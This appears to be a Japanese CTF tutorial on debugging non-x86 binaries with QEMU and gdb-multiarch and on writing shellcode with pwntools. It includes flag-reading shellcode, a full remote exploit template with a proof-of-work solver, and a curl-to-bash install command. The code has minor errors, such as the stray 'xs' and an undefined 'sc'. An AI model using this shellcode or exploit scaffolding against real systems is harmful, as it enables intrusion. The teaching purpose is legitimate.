- 作者:ZERO-A-ONE
- 日付:2022-08-20
0x1 環境設定
最も一般的に使用される 2 つのツールのうちの 1 つは QEMU で、もう 1 つは gdb-multiarch です。
1.1 QEMU
qemu は、汎用のオープンソース マシン エミュレーターおよび仮想マシンです。そのため、Linux オペレーティング システムにインストールして、他のアーキテクチャ プラットフォームでプログラムをデバッグするために使用できます。インストール方法は、次のコードに示されています。
sudo apt update
sudo apt install qemu qemu-system qemu-user
qemu をインストールすると、静的にリンクされた arm プログラムを直接実行できます. コマンドを使用して、qemu-arm prog
32 ビットの arm プログラムを実行します (prog はプログラム名を指します)。ただし、ダイナミック リンク プログラムはまだ正常に動作しないため、この時点で、対応するアーキテクチャのダイナミック リンク ライブラリをインストールする必要があります。
コマンドを使用してapt-cache search "libc6" | grep -E "arm|mips"
、利用可能なマルチアーキテクチャ ランタイム ライブラリを検索します
libc6-*-cross
のようなランタイム ライブラリをインストールするだけです。
次のコマンドでインストールします。
sudo apt-get install libc6-arm64-cross libc6-armel-cross libc6-armhf-cross libc6-mips-cross libc6-mips32-mips64-cross libc6-mips32-mips64el-cross libc6-mips64-cross libc6-mips64-mips-cross libc6-mips64-mipsel-cross libc6-mips64el-cross libc6-mipsel-cross libc6-mipsn32-mips-cross libc6-mipsn32-mips64-cross libc6-mipsn32-mips64el-cross libc6-mipsn32-mipsel-cross
Pwntools
でコマンドを使用するとasm
、次のエラーが報告される場合があります。
dpkg-query: 没有找到与 *bin/armeabi*linux*-as* 相匹配的路径
[ERROR] Could not find 'as' installed for ContextType(arch = 'arm', bits = 32, endian = 'little', log_level = 10)
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
この時点で、binutils の依存関係をインストールする必要があります。最初にコマンドを使用しますapt search binutils | grep [arch]
([arch] をここで置き換えてください)。
あとは表示されたパッケージをインストールして完了
1.2 gdb マルチアーチ
次に、gdb-multiarch もインストールする必要があります
sudo apt update
sudo apt install gdb-multiarch
1.3 GEF のインストール
私たちが毎日使用する GDB プラグインはより pwndbg ですが、GEF は他のアーキテクチャをデバッグする場合により安定したプラグインです。
https://github.com/hugsy/gef
インストール方法は次のとおりです。
# via the install script
## using curl
$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
## using wget
$ bash -c "$(wget https://gef.blah.cat/sh -O -)"
# or manually
$ wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
# or alternatively from inside gdb directly
$ gdb -q
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-main').read()); gdb.execute('source %s' % g.name)
0x2 デバッグを有効にする
2.1 カーネルモード
例:
qemu-system-x86_64 \
-m 2G \
-kernel ./bzImage \
-drive file=./rootfs.img \
-append "console=ttyS0 root=/dev/sda earlyprintk=serial nokaslr" \
-nographic \
-s
-kernel kernel-qemu
: 起動時にロードされるカーネル ファイルのタイプを指定します。ここでは、ダウンロードされたカーネル イメージ タイプが使用されますkernel-qemu
。
-cpu arm1176
: ここでシミュレートされた、起動に使用される CPU ファイルを指定しますARM1176 CPU
。Raspberry Pi
ボードBroadcom BCM2835
にはこのプロセッサが搭載されていますARM1176JZ-F
。
-m 256
: シミュレーション システムで使用できるメモリ サイズを指定します.ここでの RAM のサイズは 256MB です.256MB より大きい値に設定すると、ボードが起動できないようです.
-M versatilepb
: シミュレートされた開発ボードのタイプを設定します。versatilepb
はいARM Versatile Platform Board
。
-kernel kernel-qemu-4.4.34-jessie
: 起動時にロードされるカーネル イメージを指定します。ここでは、ダウンロードされたカーネル イメージが使用されますkernel-qemu-4.4.34-jessie
。
-append "root=/dev/sda2"
: カーネルのコマンド ラインを指定します。
-hda 2013-09-25-wheezy-raspbian.img
:Harddisk 0
使用2013-09-25-wheezy-raspbian.img
。
2.2 ユーザーモード
ユーザーモードの起動は比較的簡単
以下は32ビットスタティックリンクアームアーキテクチャプログラムのデバッグ例です. まず, qemuの対応アーキテクチャのコマンドツールを使ってプログラムを起動します. サンプルプログラムはスタティックコンパイルなので, 指定したダイナミックリンクライブラリディレクトリは未使用-L
。
qemu-mips64 -g 8888 ./ShellcodeRunnerMIPS64
次に、新しいターミナルを開き、gdb-multiarch を使用し、システム アーキテクチャを設定します。ビッグ エンディアンとスモール エンディアンの順序を設定し、ローカル デバッグ ポートに接続することもできます
gdb-multiarch -q ./ShellcodeRunnerMIPS64
set architecture mips64
set endian big
target remote localhost:8888
ここのコマンドを使用して、set architechture
すべてのアーキテクチャ オプションを表示します
実際、多くの場合、アーキテクチャとエンディアンを手動で設定するのは最善ではなく、gdb-multiarch が自動的に設定します。
0x3 シェルコード
コンテストでは、さまざまなアーキテクチャでいくつかのシェルコードを作成する必要があることがよくありますが、幸いなことに、pwntools がシェルコード フレームワークを提供してくれるので、シェルコードを簡単に作成するのに役立ちます。
https://docs.pwntools.com/en/stable/shellcraft.html#module-pwnlib.shellcraft
現在、pwntools は以下のアーキテクチャを公式にサポートしています
- AArch64
- ADM64
- 腕
- インテル 80386
- MIPS
- 親指モード
それを使用する前に、コンテキストパラメータを設定することをお勧めします
context.arch="amd64"
context.endian='little'
context.log_level="debug"
3.1 API
シェルコード フレームワークには、特に便利な API がいくつか用意されています。たとえば、ファイルを cat したい場合は、直接
shellcraft.amd64.linux.cat('/flag')
そして、最も一般的に使用される mov 命令をシェルコードで記述します。
>>> print(shellcraft.amd64.mov('eax','ebx').rstrip())
mov eax, ebx
>>> print(shellcraft.amd64.mov('eax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('ax', 0).rstrip())
xor ax, ax /* 0 */
>>> print(shellcraft.amd64.mov('rax', 0).rstrip())
xor eax, eax /* 0 */
>>> print(shellcraft.amd64.mov('rdi', 'ax').rstrip())
movzx edi, ax
>>> print(shellcraft.amd64.mov('al', 'ax').rstrip())
/* moving ax into al, but this is a no-op */
>>> print(shellcraft.amd64.mov('ax', 'bl').rstrip())
movzx ax, bl
>>> print(shellcraft.amd64.mov('eax', 1).rstrip())
push 1
pop rax
>>> print(shellcraft.amd64.mov('rax', 0xc0).rstrip())
xor eax, eax
mov al, 0xc0
>>> print(shellcraft.amd64.mov('rax', 0xc000).rstrip())
xor eax, eax
mov ah, 0xc000 >> 8
>>> print(shellcraft.amd64.mov('rax', 0xc0c0).rstrip())
xor eax, eax
mov ax, 0xc0c0
>>> print(shellcraft.amd64.mov('rdi', 0xff).rstrip())
mov edi, 0x1010101 /* 255 == 0xff */
xor edi, 0x10101fe
>>> print(shellcraft.amd64.mov('rax', 0xdead00ff).rstrip())
mov eax, 0x1010101 /* 3735879935 == 0xdead00ff */
xor eax, 0xdfac01fe
>>> print(shellcraft.amd64.mov('rax', 0x11dead00ff).rstrip())
mov rax, 0x101010101010101 /* 76750323967 == 0x11dead00ff */
push rax
mov rax, 0x1010110dfac01fe
xor [rsp], rax
pop rax
>>> print(shellcraft.amd64.mov('rax', 0xffffffff).rstrip())
mov eax, 0xffffffff
>>> print(shellcraft.amd64.mov('rax', 0x7fffffff).rstrip())
mov eax, 0x7fffffff
>>> print(shellcraft.amd64.mov('rax', 0x80010101).rstrip())
mov eax, 0x80010101
>>> print(shellcraft.amd64.mov('rax', 0x80000000).rstrip())
mov eax, 0x1010101 /* 2147483648 == 0x80000000 */
xor eax, 0x81010101
>>> print(shellcraft.amd64.mov('rax', 0xffffffffffffffff).rstrip())
push 0xffffffffffffffff
pop rax
>>> with context.local(os = 'linux'):
... print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
xor eax, eax /* SYS_read */
>>> with context.local(os = 'freebsd'):
... print(shellcraft.amd64.mov('eax', 'SYS_read').rstrip())
push SYS_read /* 3 */
pop rax
>>> with context.local(os = 'linux'):
... print(shellcraft.amd64.mov('eax', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rax
スタックを操作するときに最も一般的に使用されるプッシュ命令
>>> print(pwnlib.shellcraft.amd64.push(0).rstrip())
/* push 0 */
push 1
dec byte ptr [rsp]
>>> print(pwnlib.shellcraft.amd64.push(1).rstrip())
/* push 1 */
push 1
>>> print(pwnlib.shellcraft.amd64.push(256).rstrip())
/* push 0x100 */
push 0x1010201 ^ 0x100
xor dword ptr [rsp], 0x1010201
>>> with context.local(os = 'linux'):
... print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 1
>>> with context.local(os = 'freebsd'):
... print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())
/* push 'SYS_write' */
push 4
セットレジスタ
>>> print(shellcraft.setregs({
'rax':1, 'rbx':'rax'}).rstrip())
mov rbx, rax
push 1
pop rax
>>> print(shellcraft.setregs({
'rax': 'SYS_write', 'rbx':'rax'}).rstrip())
mov rbx, rax
push SYS_write /* 1 */
pop rax
>>> print(shellcraft.setregs({
'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip())
mov rcx, rbx
xchg rax, rbx
>>> print(shellcraft.setregs({
'rax':1, 'rdx':0}).rstrip())
push 1
pop rax
cdq /* rdx=0 */
システムコール設定 syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 1, 'rsp', 2, 0).rstrip())
/* call execve(1, 'rsp', 2, 0) */
xor r10d, r10d /* 0 */
push SYS_execve /* 0x3b */
pop rax
push 1
pop rdi
push 2
pop rdx
mov rsi, rsp
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('SYS_execve', 2, 1, 0, -1).rstrip())
/* call execve(2, 1, 0, -1) */
push -1
pop r10
push SYS_execve /* 0x3b */
pop rax
push 2
pop rdi
push 1
pop rsi
cdq /* rdx=0 */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall().rstrip())
/* call syscall() */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rax', 'rdi', 'rsi').rstrip())
/* call syscall('rax', 'rdi', 'rsi') */
/* setregs noop */
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall('rbp', None, None, 1).rstrip())
/* call syscall('rbp', ?, ?, 1) */
mov rax, rbp
push 1
pop rdx
syscall
>>> print(pwnlib.shellcraft.amd64.linux.syscall(
... 'SYS_mmap', 0, 0x1000,
... 'PROT_READ | PROT_WRITE | PROT_EXEC',
... 'MAP_PRIVATE | MAP_ANONYMOUS',
... -1, 0).rstrip())
/* call mmap(0, 0x1000, 'PROT_READ | PROT_WRITE | PROT_EXEC', 'MAP_PRIVATE | MAP_ANONYMOUS', -1, 0) */
push (MAP_PRIVATE | MAP_ANONYMOUS) /* 0x22 */
pop r10
push -1
pop r8
xor r9d, r9d /* 0 */
push SYS_mmap /* 9 */
pop rax
xor edi, edi /* 0 */
push (PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */
pop rdx
mov esi, 0x1010101 /* 4096 == 0x1000 */
xor esi, 0x1011101
syscall
>>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip())
/* open(file='/home/pwn/flag', oflag=0, mode=0) */
/* push b'/home/pwn/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f6e
xor [rsp], rax
mov rax, 0x77702f656d6f682f
push rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall
>>> print(shellcraft.amd64.write(0, '*/', 2).rstrip())
/* write(fd=0, buf='\x2a/', n=2) */
/* push b'\x2a/\x00' */
push 0x1010101 ^ 0x2f2a
xor dword ptr [rsp], 0x1010101
mov rsi, rsp
xor edi, edi /* 0 */
push 2
pop rdx
/* call write() */
push SYS_write /* 1 */
pop rax
syscall
ワンクリックで sh を取得することもできます
>>> p = run_assembly(shellcraft.amd64.linux.sh())
>>> p.sendline(b'echo Hello')
>>> p.recv()
b'Hello\n'
たとえば、最も単純なcat flag
シェルコードを記述します
sc = shellcraft.amd64.linux.cat('/flag')
sc += shellcraft.amd64.linux.exit(0)
shellcode = asm(sc,arch='amd64')
その中で、shellcraft は対応するアセンブリ コードを生成し、asm はアセンブリ コードを対応するマシン コードに変換する役割を果たします。
p.sendlineafter("Shellcode >", shellcode)
3.2 マニュアル
しかし、私たちが KOH であったり、シェルコードの長さに制限がある場合、pwntools によって自動生成されるシェルコードは条件を満たしていません。多くの場合、シェルコードを手動で記述する必要があります
たとえば、次のようにします。
from signal import pause
from pwn import *
import sys
#p = process(["qemu-mips64","-g","1234","./ShellcodeRunnerMIPS64"])
p = process(["qemu-mips64","./ShellcodeRunnerMIPS64"])
pause()
context.update(arch='mips',bits=64,endian="big")
sc_push = asm('''
li $t1, 0x2f666c61
sw $t1, -8($sp)
li $t9, ~0x67000000
not $t1, $t9
sw $t1, -4($sp)
daddiu $sp, $sp, -8
''',arch='mips64')
sc_open = asm('''
dadd $a0, $sp, $0
slti $a1, $zero, 0xFFFF
''',arch='mips64')
sc_call_open = asm('''
ori $v0, $zero, 0x138a
syscall
''',arch='mips64')
sc_send = asm('''
li $t9, ~1
not $a0, $t9
sw $v0, -4($sp)
lw $a1, -4($sp)
slti $a2, $zero, 0xFFFF
li $a3, 0x7fffffff
''',arch='mips64')
sc_call_send = asm('''
ori $v0, $zero, 0x13af
syscall
''',arch='mips64')
mips64_bytes = sc_push + sc_open + sc_call_open + sc_send + sc_call_send
print(len(mips64_bytes))
p.sendlineafter("Shellcode >", sc)
p.recv()
p.interactive()
手書きアセンブリのちょっとしたコツとしては、対応するアーキテクチャのクロスコンパイラを使ってC言語で書き、IDAなどを使ってコンパイラからバイナリファイルを開き、どのアセンブリコードかを推測する方法があります。
C言語で書かれた各種アーキテクチャのアセンブリコードをリアルタイムで閲覧できるサイトもこちら:
https://gcc.godbolt.org/
3.3 ポリシェル
ここでは、KOH でよく使用される、1 つのペイロードで複数のアーキテクチャを再生するためのテクニックも提供します。
https://sectt.github.io/writeups/MidnightSun19/misc_polyshell/README
0x4 経験値
EXPを書くための一般的なテンプレートがあります
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"
def debug(addr=-1,PIE=True):
if addr == -1:
gdb.attach(p)
else:
if PIE:
#text_base = int(os.popen("pmap {}| awk '{
{print $1}}'".format(p.pid)).setvbuflines()[1], 16)
#gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
gdb.attach(p,"b *$rebase({})".format(hex(addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./ShellCodeRunnerX64")
# p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
# debug(0x000000000000000)
p.interactive()
if __name__ == "__main__":
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
main(args["REMOTE"])
実際、コンテキストで設定できる属性パラメータはたくさんありますので、詳しくは PWNTOOLS が提供するマニュアルを参照してください。
https://docs.pwntools.com/en/stable/context.html
それからCTFでは、ブラストを防ぐためにPOWメカニズムが追加されることが多く、最初にPOW検証に合格する必要があります
import random
from hashlib import sha256
while True:xs
sol = random.randbytes(4)
if sha256(chal + sol).hexdigest().startswith('00000'):
print(sol.hex())
break
# soll = ""
# for i in sol:
# soll += hex(ord(i))[2:].rjust(2,'0')
sol = sol.hex()
soll = sol[6:8]+sol[4:6]+sol[2:4]+sol[0:2]
p.send(sol)
最後の完全な EXP は次のようになります
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
context.log_level="debug"
def debug(addr=-1,PIE=True):
if addr == -1:
gdb.attach(p)
else:
if PIE:
#text_base = int(os.popen("pmap {}| awk '{
{print $1}}'".format(p.pid)).setvbuflines()[1], 16)
#gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
gdb.attach(p,"b *$rebase({})".format(hex(addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./ShellCodeRunnerX64")
# p = process("./fuzz", env={"LD_PRELOAD":"./libc-2.27.so"})
# debug(0x000000000000000)
p.recvuntil(b"chal:")
p.recvuntil(b"chal:")
chal = p.recvline()[1:-1]
print(b'cha',chal)
# strr = ""
# for i in range(0,256):
# strr+=chr(i)
# sol = ""
# for i in strr:
# for j in strr:
# for k in strr:
# for l in strr:
# sol = i+j+k+l
# if hashlib.sha256(chal + sol).hexdigest().startswith('00000'):
# break
# soll = ""
# for i in sol:
# soll += hex(ord(i))[2:].rjust(2,'0')
# p.send(soll)
import random
from hashlib import sha256
while True:
sol = random.randbytes(4)
if sha256(chal + sol).hexdigest().startswith('00000'):
print(sol.hex())
break
# soll = ""
# for i in sol:
# soll += hex(ord(i))[2:].rjust(2,'0')
sol = sol.hex()
soll = sol[6:8]+sol[4:6]+sol[2:4]+sol[0:2]
p.send(sol)
#debug(0x080497B3, PIE=False)
p.sendlineafter(b"Input your team token", b"xxxxxxx")
shellcode = asm('''
mov rax,0x67616c662f
push rax
mov rdi,rsp
xor rsi,rsi
mov eax,2
syscall
//open("./flag",0)
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov eax,0
syscall
//read(3,rsp,0x100)
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov eax,1
syscall
//write(1,rsp,0x100)
mov rax, 0x3c
mov rdi, 0
syscall
''',arch='amd64')
# sh = ""
# for i in shellcode:
p.sendafter(b"Input your mimic shellcode (0x1000 max, hex, end with '\\n')>",shellcode.hex()+"\n")
#p.sendlineafter("Shellcode >", shellcode)
#debug()
#p.recv()
p.interactive()
if __name__ == "__main__":
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
main(args["REMOTE"])
参考文献
- ARM アーキテクチャでの Pwn の一般的なソリューション
- HWS サマー キャンプ GDB がすべてを調整
- pwn アンダー アーム アーキテクチャの学習のまとめ
- https://sectt.github.io/writeups/MidnightSun19/misc_polyshell/README
- http://man.hubwiz.com/docset/pwntools.docset/Contents/Resources/Documents/shellcraft/mips.html
- https://docs.pwntools.com/en/stable/context.html
- [CTF pwn - ARM アーキテクチャの pwn 問題の詳細な説明](